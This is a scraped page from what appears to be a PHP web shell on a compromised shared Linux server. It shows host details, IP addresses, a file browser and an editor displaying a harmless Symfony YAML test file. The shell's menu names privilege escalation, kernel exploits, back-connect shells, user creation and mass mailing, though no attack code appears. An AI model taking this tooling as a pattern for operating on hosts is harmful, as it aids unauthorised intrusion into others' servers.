Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.53
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
wp /
vendor /
symfony /
yaml /
Tests /
[ HOME SHELL ]
Name
Size
Permission
Action
Command
[ DIR ]
drwxr-xr-x
Fixtures
[ DIR ]
drwxr-xr-x
DumperTest.php
17.99
KB
-rw-r--r--
InlineTest.php
33.44
KB
-rw-r--r--
ParseExceptionTest.php
1
KB
-rw-r--r--
ParserTest.php
55.5
KB
-rw-r--r--
YamlTest.php
1.14
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : YamlTest.php
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Yaml\Tests; use PHPUnit\Framework\TestCase; use Symfony\Component\Yaml\Yaml; class YamlTest extends TestCase { public function testParseAndDump() { $data = ['lorem' => 'ipsum', 'dolor' => 'sit']; $yml = Yaml::dump($data); $parsed = Yaml::parse($yml); $this->assertEquals($data, $parsed); } public function testZeroIndentationThrowsException() { $this->expectException('InvalidArgumentException'); $this->expectExceptionMessage('The indentation must be greater than zero'); Yaml::dump(['lorem' => 'ipsum', 'dolor' => 'sit'], 2, 0); } public function testNegativeIndentationThrowsException() { $this->expectException('InvalidArgumentException'); $this->expectExceptionMessage('The indentation must be greater than zero'); Yaml::dump(['lorem' => 'ipsum', 'dolor' => 'sit'], 2, -4); } }
Close